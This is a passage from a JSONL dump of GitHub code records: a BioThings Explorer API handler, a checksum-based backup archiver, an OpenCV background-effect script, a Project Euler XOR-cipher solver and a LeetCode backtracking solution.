_node.startswith(output_prefix + ':'):\n cytoscape_results.append(construct_cytoscape_node_data(_node, level=level+1))\n else:\n cytoscape_results.append(construct_cytoscape_node_data(_node, level=level+1))\n print('this node could not be related to either input or output:{}')\n for _edge in G_output.edges():\n cytoscape_results.append(construct_cytoscape_edge(_edge, find_edge_label(G_output, _edge[0], _edge[1]), level))\n self.write(json.dumps({'output': outputs, 'cytoscape':cytoscape_results}))\n\n\nclass FindEdgeLabel(BaseHandler):\n \"\"\"\n This function serves as one BioThings Explorer API endpoint\n Given an endpoint and its output, return the relationship info from JSON-LD context\n\n Params\n ======\n endpoint: endpoint name\n output: output of the endpoint\n\n \"\"\"\n def get(self):\n endpoint_name = self.get_argument('endpoint')\n output = self.get_argument('output')\n self.write(json.dumps({'relation': find_edge_label(bt_explorer.api_map, endpoint_name, output)}))\n\n\nclass KnowledgeMap(BaseHandler):\n \"\"\"\n Return subject, object, predicate information\n Users could also query based on subject, object and predicate\n\n Parmas\n ======\n endpoint: specify a specific endpoint name, and return all subject, object\n predicate information specific to this endpoint\n predicate: specify a specific predicate, and return all subject, object\n predicate information which contains the specified predicate\n subject.prefix: specify a specific subject prefix, and return all subject, object\n predicate information which contains the specified subject prefix\n subject.semantic_type: specify a specific subject semantic type, and return all subject, object\n predicate information which contains the specified subject semantic type\n object.prefix: specify a specific object prefix, and return all subject, object\n predicate information which contains the specified object prefix\n object.semantic_type: specify a specific object semantic type, and return all subject, object\n predicate information which contains the specified object semantic type\n \"\"\"\n def get(self):\n # get parameters\n input_endpoint = self.get_query_argument('endpoint', None)\n input_predicate = self.get_query_argument('predicate', None)\n input_subject_prefix = self.get_query_argument('subject.prefix', None)\n input_object_prefix = self.get_query_argument('object.prefix', None)\n input_subject_type = self.get_query_argument('subject.semantic_type', None)\n input_object_type = self.get_query_argument('object.semantic_type', None)\n # load all association information into triples\n bioentity_info = bt_explorer.registry.bioentity_info\n i = 0\n triples = []\n for _endpoint, _endpoint_info in bt_explorer.registry.endpoint_info.items():\n relation = _endpoint_info['relation']\n inputs = _endpoint_info['input']\n for _input in inputs:\n _input_curie = bioentity_info[_input]['prefix']\n _input_type = bt_explorer.registry.bioentity_info[_input]['semantic type']\n for _output, _relation in relation.items():\n _output_curie = bioentity_info[_output]['prefix']\n _output_type = bt_explorer.registry.bioentity_info[_output]['semantic type']\n for _relate in _relation:\n triples.append({'subject': {'prefix': _input_curie, 'semantic_type': _input_type}, \n 'object': {'prefix': _output_curie, 'semantic_type': _output_type}, \n 'predicate': _relate.split(':')[-1], 'endpoint': _endpoint, 'api': _endpoint_info['api']})\n temp_output = triples\n END_OUTPUT = False\n # check if user want to filter for a specific field or combination of fields\n if input_endpoint:\n # check whether user input is valid\n if input_endpoint in bt_explorer.registry.endpoint_info:\n temp_output = [_association for _association in temp_output if _association['endpoint']==input_endpoint]\n else:\n temp_output = []\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, \"message\": \"The endpoint '\" + input_endpoint + \"' you input is not in BioThings Explorer. \\\n Please refer to 'http://biothings.io/explorer/api/v1/metadata/endpoints' for all endpoints currently integrated!\"}))\n self.finish()\n END_OUTPUT = True\n if input_predicate and not END_OUTPUT:\n if input_predicate in [_association['predicate'] for _association in triples]:\n temp_output = [_association for _association in temp_output if _association['predicate']==input_predicate]\n else:\n temp_output = []\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, \"message\": \"The predicate '\" + input_predicate + \"' you input is not in BioThings Explorer.\"}))\n self.finish()\n END_OUTPUT = True\n if input_subject_prefix and not END_OUTPUT:\n if input_subject_prefix in [_association['subject']['prefix'] for _association in triples]:\n temp_output = [_association for _association in temp_output if _association['subject']['prefix']==input_subject_prefix]\n else:\n temp_output = []\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, \"message\": \"The subject prefix '\" + input_subject_prefix + \"' you input is not in BioThings Explorer.\"}))\n self.finish()\n END_OUTPUT = True\n if input_subject_type and not END_OUTPUT:\n if input_subject_type in [_association['subject']['semantic_type'] for _association in triples]:\n temp_output = [_association for _association in temp_output if _association['subject']['semantic_type']==input_subject_type]\n else:\n temp_output = []\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, \"message\": \"The subject semantic type '\" + input_subject_type + \"' you input is not in BioThings Explorer.\"}))\n self.finish()\n END_OUTPUT = True\n if input_object_prefix and not END_OUTPUT:\n if input_object_prefix in [_association['object']['prefix'] for _association in triples]:\n temp_output = [_association for _association in temp_output if _association['object']['prefix']==input_object_prefix]\n else:\n temp_output = []\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, \"message\": \"The object prefix '\" + input_object_prefix + \"' you input is not in BioThings Explorer.\"}))\n self.finish()\n END_OUTPUT = True\n if input_object_type and not END_OUTPUT:\n if input_object_type in [_association['object']['semantic_type'] for _association in triples]:\n temp_output = [_association for _association in temp_output if _association['object']['semantic_type']==input_object_type]\n else:\n temp_output = []\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, \"message\": \"The object semantic type '\" + input_object_type + \"' you input is not in BioThings Explorer.\"}))\n self.finish()\n END_OUTPUT = True\n # output\n if not END_OUTPUT:\n if temp_output:\n self.write(json.dumps({\"associations\": temp_output}))\n else:\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, \"message\": \"No associations could be found for the input you give!!\"}))\n\nclass KnowledgeMapPath(BaseHandler):\n def get(self):\n start = self.get_query_argument('start')\n end = self.get_query_argument('end')\n max_api = self.get_query_argument('max_api', 3)\n paths = bt_explorer.find_path(start, end, max_no_api_used=int(max_api), dictformat=False, display_graph=False)\n if paths:\n # function to add semantic type, predicate information into the path\n detailed_paths = []\n for _path in paths:\n new_path = []\n for i in range(0, len(_path)-2, 2):\n subject_uri = bt_explorer.registry.prefix2uri(_path[i])\n object_uri = bt_explorer.registry.prefix2uri(_path[i+2])\n subject_type = bt_explorer.registry.bioentity_info[subject_uri]['semantic type']\n object_type = bt_explorer.registry.bioentity_info[object_uri]['semantic type']\n new_path.append({'subject': {'prefix': _path[i], 'semantic_type': subject_type}, \n 'object': {'prefix': _path[i+2], 'semantic_type': object_type}, \n 'predicate': find_edge_label(bt_explorer.api_map, _path[i+1], _path[i+2]).split(':')[-1], 'endpoint': _path[i+1]})\n detailed_paths.append(new_path)\n self.write(json.dumps({\"paths\": detailed_paths}))\n else:\n self.set_status(400)\n self.write(json.dumps({\"status\": 400, \"message\": \"No path could be found between \" + start + \" and \" + end + '!'}))\n","repo_name":"biothings/biothings_explorer_web_old","sub_path":"src/handlers/ConnectingPathHandler.py","file_name":"ConnectingPathHandler.py","file_ext":"py","file_size_in_byte":26698,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"42782853427","text":"import datetime\nimport enum\nimport os\nimport pathlib\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport typing\nimport psutil\nfrom os import access, R_OK, W_OK\nimport dataclasses\n\nMETADATA_DIR_NAME = \".ltarchiver\"\n\nrecordbook_file_name = \"recordbook.txt\"\nif \"DEBUG\" in os.environ:\n DEBUG = True\n recordbook_dir = pathlib.Path(\"test_data\") / METADATA_DIR_NAME\nelse:\n DEBUG = False\n recordbook_dir = pathlib.Path.home() / METADATA_DIR_NAME\nrecordbook_path = recordbook_dir / recordbook_file_name\nrecordbook_checksum_file_path = recordbook_dir / \"checksum.txt\"\nRECORD_PATH = recordbook_dir / \"new_transaction.txt\"\necc_dir_name = \"ecc\"\nchunksize = 1024 # bytes\neccsize = 16 # bytes\n\n\nclass LTAError(Exception):\n pass\n\n\nclass Validation(enum.Enum):\n ECC_DOESNT_EXIST = \"The ecc of the file doesn't exist\"\n ECC_CORRUPTED = \"The ecc of the file was corrupted\"\n DOESNT_EXIST = \"The file doesn't exist\"\n NO_CHECKSUM_FILE = \"The Checksum file doesn't exist\"\n CORRUPTED = \"The file appears to have been corrupted\"\n VALID = \"No errors found\"\n\n def __str__(self):\n return self.value\n\n\n@dataclasses.dataclass\nclass TerminalMenu:\n title: str\n options: typing.Dict[str, typing.Callable]\n with_abort: bool = True\n REDISPLAY_MENU = \"REDISPLAY_MENU\"\n\n @classmethod\n def get_null_option(cls, fun):\n \"\"\"For a callable returns another callable that will not cause the menu to close if chosen as an option.\"\"\"\n\n def f():\n fun()\n return TerminalMenu.REDISPLAY_MENU\n\n return f\n\n def __post_init__(self):\n def abort():\n raise LTAError(\"Aborted by the request of the user\")\n\n if self.with_abort:\n self.options[\"Abort\"] = abort\n\n def show(self):\n callbacks = list(self.options.values())\n while True:\n print(self.title)\n option_count = 1\n for text in self.options.keys():\n print(option_count, \"-\", text)\n option_count += 1\n s = input()\n try:\n user_input = int(s)\n except ValueError:\n print(f\"{s} is not a number\")\n continue\n if 1 > user_input > option_count - 1:\n print(f\"{s} is not a number between 1 and {option_count - 1}\")\n continue\n else:\n if callbacks[user_input - 1]() == TerminalMenu.REDISPLAY_MENU:\n continue\n else:\n break\n\n\n@dataclasses.dataclass(frozen=True)\nclass Record:\n timestamp: datetime.datetime\n source: pathlib.Path\n destination: str\n file_name: str\n checksum: str\n ecc_checksum: str\n chunksize: int = chunksize\n eccsize: int = eccsize\n checksum_algorithm: str = \"md5\"\n deleted: bool = False\n version: int = 1\n\n def write(self, recordbook: pathlib.Path = recordbook_path):\n with recordbook.open(\"at\") as f:\n f.write(\"Item\\n\")\n f.write(f\"Version: {self.version}\\n\")\n f.write(f\"Deleted: {self.deleted}\\n\")\n f.write(f\"File-Name: {self.file_name}\\n\")\n f.write(f\"Source: {self.source.resolve()}\\n\")\n f.write(f\"Destination: {self.destination}\\n\")\n f.write(f\"Bytes-per-chunk: {self.chunksize}\\n\")\n f.write(f\"EC-bytes-per-chunk: {self.eccsize}\\n\")\n f.write(f\"Timestamp: {datetime.datetime.now().isoformat()}\\n\")\n f.write(f\"Checksum-Algorithm: {self.checksum_algorithm}\\n\")\n f.write(f\"Checksum: {self.checksum}\\n\")\n f.write(f\"ECC-Checksum: {self.ecc_checksum}\\n\")\n\n def get_validation(self) -> Validation:\n \"\"\"True if file exists and checksum matches\"\"\"\n root = get_root_from_uuid(self.destination)\n path = self.file_path(root)\n if not path.exists():\n return Validation.DOESNT_EXIST\n checksum = get_file_checksum(path)\n if checksum != self.checksum:\n return Validation.CORRUPTED\n\n ecc_file_path = self.ecc_file_path(root)\n if not ecc_file_path.exists():\n return Validation.ECC_DOESNT_EXIST\n checksum = get_file_checksum(ecc_file_path)\n if checksum != self.ecc_checksum:\n return Validation.ECC_CORRUPTED\n return Validation.VALID\n\n def file_path(self, root: pathlib.Path):\n return root / self.file_name\n\n def ecc_file_path(self, root: pathlib.Path) -> pathlib.Path:\n return root / METADATA_DIR_NAME / ecc_dir_name / self.checksum\n\n def __str__(self):\n return f\"Record of {self.file_name} stored on {self.destination}\"\n\n\ndef error(msg: str):\n print(msg, file=sys.stderr)\n exit(1)\n\n\ndef get_file_checksum(source: pathlib.Path):\n return subprocess.check_output([f\"md5sum\", source], encoding=\"utf-8\").split()[0]\n\n\nclass FileValidation(enum.Enum):\n FILE_DOESNT_EXIST = enum.auto()\n DIRECTORY_DOESNT_EXIST = enum.auto()\n IS_DIRECTORY = enum.auto\n NO_WRITE_PERMISSION_FILE = enum.auto()\n NO_WRITE_PERMISSION_DIRECTORY = enum.auto()\n NO_READ_PERMISSION_FILE = enum.auto()\n NOT_A_FILE = enum.auto()\n\n\ndef file_ok(path: pathlib.Path, source=True) -> None:\n \"\"\"Test for the usefulness of path.\n\n If source is true the path must exist, be a file and readable.\n\n If source is False, will test if it's a directory and writable\n or a path that sits in a directory that's writable.\n\n In case any test fails this function will throw an LTAError with the\n reason.\n \"\"\"\n if source:\n if not path.exists():\n raise LTAError(\n f\"File {path} does not exist\", FileValidation.FILE_DOESNT_EXIST\n )\n if path.is_dir():\n raise LTAError(f\"{path} is a directory\", FileValidation.IS_DIRECTORY)\n if not path.is_file():\n raise LTAError(\n f\"Path {path} does not point to a file\", FileValidation.NOT_A_FILE\n )\n if not access(path, R_OK):\n raise LTAError(\n f\"File {path} is not readable\", FileValidation.NO_READ_PERMISSION_FILE\n )\n else:\n if not path.exists():\n if not path.parent.exists():\n raise LTAError(\n f\"Directory {path.parent} does not exist\",\n FileValidation.DIRECTORY_DOESNT_EXIST,\n )\n else:\n if not access(path.parent, W_OK):\n raise LTAError(\n f\"Cannot write to parent of {path}\",\n FileValidation.NO_WRITE_PERMISSION_DIRECTORY,\n )\n if not access(path, W_OK):\n raise LTAError(\n f\"File {path} is not writable\", FileValidation.NO_WRITE_PERMISSION_FILE\n )\n\n\ndef copy_recordbook_from_to(\n from_file: pathlib.Path,\n from_checksum: pathlib.Path,\n to_file: pathlib.Path,\n to_checksum: pathlib.Path,\n):\n def copy():\n check_recordbook_md5(from_checksum)\n shutil.copy(from_file, to_file)\n shutil.copy(from_checksum, to_checksum)\n\n return copy\n\n\ndef decide_recordbooks(\n destination_recordbook_path: pathlib.Path,\n destination_recordbook_checksum_path: pathlib.Path,\n):\n subprocess.call(\n shlex.split(f\"diff {recordbook_path} {destination_recordbook_path}\")\n )\n menu = TerminalMenu(\n \"What should be done?\",\n {\n f\"Overwrite the contents of {recordbook_path} with {destination_recordbook_path}\": (\n copy_recordbook_from_to(\n destination_recordbook_path,\n destination_recordbook_checksum_path,\n recordbook_path,\n recordbook_checksum_file_path,\n )\n ),\n f\"Overwrite the contents of {destination_recordbook_path} with {recordbook_path}\": (\n copy_recordbook_from_to(\n recordbook_path,\n recordbook_checksum_file_path,\n destination_recordbook_path,\n destination_recordbook_checksum_path,\n )\n ),\n },\n )\n menu.show()\n\n\ndef get_records(recordbook_path: pathlib.Path) -> typing.Iterable[Record]:\n recordbook = recordbook_path.open(\"r\")\n source = None\n destination = None\n file_name = None\n deleted = None\n version = None\n chunksize_ = None\n eccsize_ = None\n timestamp = None\n checksum = None\n checksum_alg = None\n first_item = True\n ecc_checksum = None\n for line in recordbook:\n line = line.strip()\n parts = line.split(\" \")\n if parts[0] == \"Item\":\n if first_item:\n first_item = False\n else:\n yield Record(\n source=pathlib.Path(source),\n destination=destination,\n file_name=file_name,\n deleted=deleted,\n version=version,\n chunksize=chunksize_,\n eccsize=eccsize_,\n timestamp=timestamp,\n checksum=checksum,\n checksum_algorithm=checksum_alg,\n ecc_checksum=ecc_checksum,\n )\n elif parts[0] == \"Deleted:\":\n deleted = parts[1] == \"true\"\n elif parts[0] == \"Source:\":\n source = parts[1]\n elif parts[0] == \"Destination:\":\n destination = parts[1]\n elif parts[0] == \"Checksum:\":\n checksum = parts[1]\n elif parts[0] == \"File-Name:\":\n file_name = parts[1]\n elif parts[0] == \"Bytes-per-chunk:\":\n chunksize_ = int(parts[1])\n elif parts[0] == \"EC-bytes-per-chunk:\":\n eccsize_ = int(parts[1])\n elif parts[0] == \"Timestamp:\":\n timestamp = datetime.datetime.fromisoformat(parts[1])\n elif parts[0] == \"Checksum-Algorithm:\":\n checksum_alg = parts[1]\n elif parts[0] == \"ECC-Checksum:\":\n ecc_checksum = parts[1]\n elif parts[0] == \"Version:\":\n version = int(parts[1])\n recordbook.close()\n if first_item:\n return []\n else:\n yield Record(\n source=pathlib.Path(source),\n destination=destination,\n file_name=file_name,\n deleted=deleted,\n version=version,\n chunksize=chunksize_,\n eccsize=eccsize_,\n timestamp=timestamp,\n checksum=checksum,\n checksum_algorithm=checksum_alg,\n ecc_checksum=ecc_checksum,\n )\n\n\ndef check_recordbook_md5(recordbook_checksum: pathlib.Path):\n if not recordbook_checksum.exists() or recordbook_checksum.stat().st_size == 0:\n raise FileNotFoundError(\n f\"Recordbook checksum file {recordbook_checksum} not found or empty\"\n )\n try:\n subprocess.check_call(shlex.split(f\"md5sum -c {recordbook_checksum}\"))\n except subprocess.CalledProcessError as err:\n raise LTAError(\n f\"The recordbook checksum file {recordbook_checksum} doesn't match what's stored. Please validate it and retry.\"\n ) from err\n\n\ndef mark_record_as_deleted(record_idx: int):\n records = list(get_records(recordbook_path))\n records[record_idx].deleted = True\n os.remove(recordbook_path)\n for record in records:\n record.write()\n\n\ndef get_device_uuid_and_root_from_path(path: pathlib.Path) -> (str, pathlib.Path):\n devices_to_uuids = {}\n for line in subprocess.check_output(\n [\"ls\", \"-l\", \"/dev/disk/by-uuid\"], encoding=\"utf-8\"\n ).split(\"\\n\")[1:]:\n if not line.strip():\n break\n parts = line.split()\n devices_to_uuids[\n (pathlib.Path(\"/dev/disk/by-uuid\") / pathlib.Path(parts[-1])).resolve(\n strict=True\n )\n ] = parts[-3]\n path_to_devices = {}\n for line in subprocess.check_output(\"mount\", encoding=\"utf-8\").split(\"\\n\"):\n if not line.strip():\n break\n if line.startswith(\"/dev/\"):\n parts = line.split()\n path_to_devices[pathlib.Path(parts[2]).resolve(strict=True)] = pathlib.Path(\n parts[0]\n ).resolve(strict=True)\n prev_parent = None\n parent = path.resolve()\n while prev_parent != parent:\n if parent in path_to_devices:\n return devices_to_uuids[path_to_devices[parent]], parent\n else:\n prev_parent = parent\n parent = parent.parent\n raise AttributeError(f\"Could not find the device associated with the path {path}\")\n\n\ndef get_root_from_uuid(uuid: str) -> pathlib.Path:\n uuid_to_device = {}\n for p in pathlib.Path(\"/dev/disk/by-uuid\").iterdir():\n uuid_to_device[p.name] = p.resolve()\n device_to_path = {}\n for partition in psutil.disk_partitions():\n device_to_path[pathlib.Path(partition.device)] = pathlib.Path(\n partition.mountpoint\n )\n try:\n device = uuid_to_device[uuid]\n try:\n return device_to_path[device]\n except KeyError as err:\n raise AttributeError(\n f\"Could not find the root of the device {device}. Is it mounted?\"\n ) from err\n except KeyError as err:\n raise AttributeError(\n f\"Could not find the device associated with the UUID {uuid}.\"\n f\" Is it pluged int?\"\n ) from err\n\n\ndef record_of_file(\n recordbook_path: pathlib.Path,\n backup_file_checksum: str,\n backup_file_path: pathlib.Path,\n):\n for record in get_records(recordbook_path):\n if not record.deleted and (\n record.checksum == backup_file_checksum\n or record.file_name == backup_file_path.name\n ):\n return record\n\n\nclass RecordBook:\n def __init__(self, path: pathlib.Path, checksum_file_path: pathlib.Path):\n self.path = path\n self.records: typing.Set[Record] = set(get_records(path))\n self.checksum_file_path = checksum_file_path\n self.valid = True\n self.invalid_reason: Validation = Validation.VALID\n self.validate()\n\n def merge(self, other_recordbook: \"RecordBook\"):\n self.records = self.records.union(other_recordbook.records)\n self.write()\n\n def write(self):\n remove_file(self.path)\n for record in self.records:\n record.write(self.path)\n subprocess.check_call(\n f\"md5sum {self.path} > {self.checksum_file_path}\", shell=True\n )\n\n def get_records_by_uuid(self, device_uuid: str) -> typing.Iterable[Record]:\n for record in self.records:\n if record.destination == device_uuid:\n yield record\n\n def validate(self):\n if not self.path.exists():\n self.valid = False\n self.invalid_reason = Validation.DOESNT_EXIST\n elif not self.checksum_file_path.exists():\n self.valid = False\n self.invalid_reason = Validation.NO_CHECKSUM_FILE\n elif not self.checksum_file_path.read_text() == get_file_checksum(self.path):\n self.valid = False\n self.invalid_reason = Validation.CORRUPTED\n\n def __str__(self):\n return f\"Recordbook stored on {self.path}, {len(self.records)} entries\"\n\n def update_record(self, record: Record):\n self.records.remove(record)\n self.records.add(dataclasses.replace(record, timestamp=datetime.datetime.now()))\n\n\ndef remove_file(path: pathlib.Path):\n try:\n os.remove(path)\n except IsADirectoryError:\n shutil.rmtree(path, ignore_errors=True)\n except FileNotFoundError:\n pass\n\n\ndef validate_and_recover_recordbooks(\n home_recordbook: RecordBook, device_recordbook: RecordBook, first_time_ok=False\n):\n home_recordbook.validate()\n device_recordbook.validate()\n\n def copy_recordbook_callback(a: RecordBook, b: RecordBook):\n def cp():\n b.records = a.records\n b.write()\n b.validate()\n\n return cp\n\n if home_recordbook.valid and device_recordbook.valid:\n return\n elif not home_recordbook.valid and not device_recordbook.valid:\n\n def overwrite_checksums():\n home_recordbook.write()\n device_recordbook.write()\n\n if (\n home_recordbook.invalid_reason == Validation.DOESNT_EXIST\n and device_recordbook.invalid_reason == Validation.DOESNT_EXIST\n ):\n print(\"No recordbook found.\")\n if not first_time_ok:\n raise LTAError(\"Please store a file first with the store command.\")\n else:\n print(\"Assuming this is the first time you are running ltarchiver.\")\n else:\n # todo recordbooks can have different reasons for being invalid\n TerminalMenu(\n f\"Neither the home recordbook {home_recordbook.path}\"\n f\"\\nnor the device recordbook {device_recordbook}\"\n f\"\\nmatches its checksum. What do you want to do?\",\n {\n \"Show contents of home recordbook\": TerminalMenu.get_null_option(\n lambda: print(home_recordbook.path.read_text())\n ),\n \"Show contents of device recordbook\": TerminalMenu.get_null_option(\n lambda: print(device_recordbook.path.read_text())\n ),\n \"Overwrite checksum files\": overwrite_checksums(),\n },\n )\n elif not home_recordbook.valid:\n if home_recordbook.invalid_reason == Validation.NO_CHECKSUM_FILE:\n TerminalMenu(\n f\"No checksum found for the home recordbook: {home_recordbook.path}.\"\n f\"\\nDo you want to recreate it?\"\n f\"\\nIf you don't have any reason to not do so, you should answer yes.\",\n {\n \"Yes\": (lambda: home_recordbook.write()),\n },\n ).show()\n elif device_recordbook.valid:\n if home_recordbook.invalid_reason == Validation.DOESNT_EXIST:\n copy_recordbook_callback(device_recordbook, home_recordbook)()\n return\n\n elif home_recordbook.invalid_reason == Validation.CORRUPTED:\n TerminalMenu(\n f\"The home recordbook's checksum doesn't correspond to its contents': {home_recordbook.path}.\"\n f\"\\nHowever the device recordbook is valid: {device_recordbook.path}\"\n f\"\\nDo you want to copy the device recordbook content into the home recordbook?\",\n {\n \"Show diff\": TerminalMenu.get_null_option(\n lambda: subprocess.check_call(\n [\"diff\", home_recordbook.path, device_recordbook.path]\n )\n ),\n \"Yes\": copy_recordbook_callback(\n device_recordbook, home_recordbook\n ),\n },\n ).show()\n else:\n # only home_recordbook is valid\n if device_recordbook.invalid_reason == Validation.DOESNT_EXIST:\n copy_recordbook_callback(home_recordbook, device_recordbook)\n elif device_recordbook.invalid_reason == Validation.NO_CHECKSUM_FILE:\n TerminalMenu(\n f\"No checksum found for the device recordbook: {device_recordbook.path}.\"\n f\"\\nDo you want to recreate it?\"\n f\"\\nIf you don't have any reason to not do so, you should answer yes.\",\n {\n \"Yes\": (lambda: device_recordbook.write()),\n },\n ).show()\n elif device_recordbook.invalid_reason == Validation.CORRUPTED:\n TerminalMenu(\n f\"The device recordbook's checksum doesn't correspond to its contents': {device_recordbook.path}.\"\n f\"\\nHowever the home recordbook is valid: {home_recordbook.path}\"\n f\"\\nDo you want to copy the home recordbook content into the device recordbook?\",\n {\n \"Show diff\": TerminalMenu.get_null_option(\n lambda: subprocess.check_call(\n [\"diff\", home_recordbook.path, device_recordbook.path]\n )\n ),\n \"Yes\": copy_recordbook_callback(home_recordbook, device_recordbook),\n },\n ).show()\n","repo_name":"marceloslacerda/ltarchiver","sub_path":"ltarchiver/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":20592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"802796821","text":"\"\"\"Loads frame(s) and applies the effect. \n\n@author: \n@date: 05/11/21\n\"\"\"\nimport constants\nimport cv2\nimport glob\nimport helpers\nimport os\nimport numpy as np\n\n# in case in path is None, default to WebCam.\nclass WebCam():\n def __init__(self): \n self.webcam_descriptor = 0\n\n def run(self, background_effect, write_effect): \n \"\"\"Applies the effect to the frames in the video, and writes it if \n specified. \n \n If the webcam cannot be accessed an assertion error will be thrown.\n\n The webcam will be run for a total of 60 frames. \n Args: \n background_effect (BackgroundEffect Class): an initialized \n BackgroundEffect class.\n write_effect (function): the write_effect function, uses values \n passed to ApplyEffect to determine where and if to write. \n\n Returns: \n (NoneType): None.\n \"\"\"\n video = cv2.VideoCapture(self.webcam_descriptor)\n \n if video is None or not video.isOpened():\n raise AssertionError(\"Was unable to read from webcam.\")\n\n curr_frame = 0\n max_frames = 9\n\n while True:\n check, frame = video.read()\n \n effected_frame = background_effect.apply_effect(frame)\n \n cv2.imshow(\"Webcam view.\", effected_frame)\n cv2.waitKey(1) # Don't wait for a keyboard input\n write_effect(effected_frame)\n\n curr_frame += 1\n print(curr_frame)\n if curr_frame > max_frames: \n break\n\n video.release()\n cv2.destroyAllWindows()\n\n return\n\nclass Images(): \n def __init__(self, in_path):\n self.in_path = in_path\n self.image_paths = self.get_imgs()\n\n def get_imgs(self):\n if os.path.isfile(self.in_path): \n self.image_paths = [self.in_path]\n else: \n # Build path list\n image_paths = []\n\n for ext in constants.IMG_EXTS: \n image_paths += glob.glob(self.in_path + \"*\" + ext)\n\n return\n\n def run(self, background_effect, write_effect):\n \"\"\"Applies the effect to the frames in the video, and writes it if \n specified. \n\n Args: \n background_effect (BackgroundEffect Class): an initialized \n BackgroundEffect class.\n write_effect (function): the write_effect function, uses values \n passed to ApplyEffect to determine where and if to write. \n\n Returns: \n (NoneType): None.\n \"\"\"\n\n for image_path in self.image_paths: \n frame = helpers.load_img(image_path)\n\n effected_frame = background_effect.apply_effect(frame)\n\n write_effect(effected_frame)\n\n return\n\nclass ApplyEffect():\n def __init__(self, in_path, out_path, do_stitch, be): \n self.in_path = in_path\n self.out_path = out_path\n self.do_stitch = do_stitch\n self.background_effect = be\n\n # Pointer for writing. \n self.curr_frame = 0\n\n def write_effect(self, frame): \n \"\"\"Writes a given frame to the specified out_path. \n \n Args: \n frame (ndarray): an effected frame. \n Returns: \n (NoneType): None. \n \"\"\"\n cv2.imwrite(self.out_path + str(self.curr_frame) + \".jpg\", frame)\n\n self.curr_frame += 1\n\n return\n\n def stitch_effected_frames(self, fps=20):\n \"\"\"Stitches the given frames into a video. Saved at the out_path.\n \n Args:\n frames (List[ndarray]): a list of effected frames.\n Returns:\n (NoneType): None. \n \"\"\"\n paths = os.listdir(self.out_path)\n paths.sort()\n print(paths)\n if paths == []: \n return\n\n # get frame shape. \n first_frame = cv2.imread(self.out_path + paths[0])\n\n # TODO\n # Update fps to system setting...\n if self.do_stitch: \n print(\"Attempting to stitch frames together. Will not work on every machine :<\")\n vid_shape = (first_frame[0].shape[1], first_frame[0].shape[0])\n video = cv2.VideoWriter(self.out_path + \"stitched_frames.avi\", \n cv2.VideoWriter_fourcc(*'XVID'), \n fps,\n vid_shape)\n\n for path in paths: \n print(\"Looking at path {}\".format(path))\n video.write(cv2.imread(self.out_path + path).astype(np.uint8))\n\n cv2.destroyAllWindows()\n video.release\n\n def apply_effect(self):\n \"\"\"Applies the specified effect to the specified input mode. \n\n \"\"\"\n feed_src = None\n\n if self.in_path is None: \n feed_src = WebCam()\n else: \n feed_src = Images(self.in_path)\n\n # Bad design but let's just rely on the WebCam and Images class \n # to check for errors and assume they won't give any \n # unexpected behavior.\n feed_src.run(self.background_effect, self.write_effect)\n\n if self.do_stitch:\n self.stitch_effected_frames()\n\n return \n\n","repo_name":"rob-marcus/21344_term_project","sub_path":"src/ApplyEffect.py","file_name":"ApplyEffect.py","file_ext":"py","file_size_in_byte":4636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74943632804","text":"def load_input(filename):\n \"\"\"\n Load input ciphertext\n \"\"\"\n with open(filename) as f:\n return [int(token) for token in f.readlines()[0].strip().split(\",\")]\n\ndef xor_decode(ciphertext, key):\n \"\"\"\n Decode some ciphertext with the given key with XOR algorithm\n ciphertext: the ciphertext to decode (as a string)\n key: the key to use (array of ints representing ASCII codes)\n \"\"\"\n return \"\".join([chr(c ^ key[index % len(key)]) for index, c in enumerate(ciphertext)])\n\ndef main():\n \"\"\"\n Entry point\n \"\"\"\n ciphertext = load_input(\"problem59_input.txt\")\n \n # Try three-letter combos and work out which looks like English\n likely_key = None\n for i in range(ord(\"a\"), ord(\"z\")+1):\n for j in range(ord(\"a\"), ord(\"z\")+1):\n for k in range(ord(\"a\"), ord(\"z\")+1):\n key = [i, j, k]\n decoded_fragment = xor_decode(ciphertext, key)\n key_str = \"\".join([chr(c) for c in key])\n if \"the\" in set(decoded_fragment.split(\" \")):\n likely_key = key\n print(f\"Likely key '{key_str}': {decoded_fragment}\")\n\n decoded = [ord(c) for c in xor_decode(ciphertext, likely_key)]\n print(f\"Sum of decoded ASCII values: {sum(decoded)}\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ericgreveson/projecteuler","sub_path":"p_050_059/problem59.py","file_name":"problem59.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70315701286","text":"from typing import List\n\n\n# 方法1-直接回溯算法\nclass Solution1:\n def combinationSum3(self, k: int, n: int) -> List[List[int]]:\n def track_back(n, k, start_index, path):\n if len(path) == k:\n if sum(path) == n:\n res.append(path.copy())\n return\n for i in range(start_index, 10):\n path.append(i)\n track_back(n, k, i + 1, path)\n path.pop()\n\n res = []\n track_back(n, k, 1, [])\n return res\n\n\n# 方法2-剪枝优化\nclass Solution2:\n def combinationSum3(self, k: int, n: int) -> List[List[int]]:\n def track_back(n, k, start_index, path, total):\n if total > n: # 剪枝操作\n return\n if total == n and len(path) == k:\n res.append(path.copy())\n return\n for i in range(start_index, 10 - (k - len(path)) + 1): # 剪枝\n path.append(i)\n total += i\n track_back(n, k, i + 1, path, total)\n path.pop()\n total -= i\n\n res = []\n track_back(n, k, 1, [], 0)\n return res\n\n\nif __name__ == '__main__':\n k1 = 3\n n1 = 7\n k2 = 3\n n2 = 9\n s1 = Solution1()\n s2 = Solution2()\n print(s1.combinationSum3(k1, n1))\n print(s1.combinationSum3(k2, n2))\n print(s2.combinationSum3(k1, n1))\n print(s2.combinationSum3(k2, 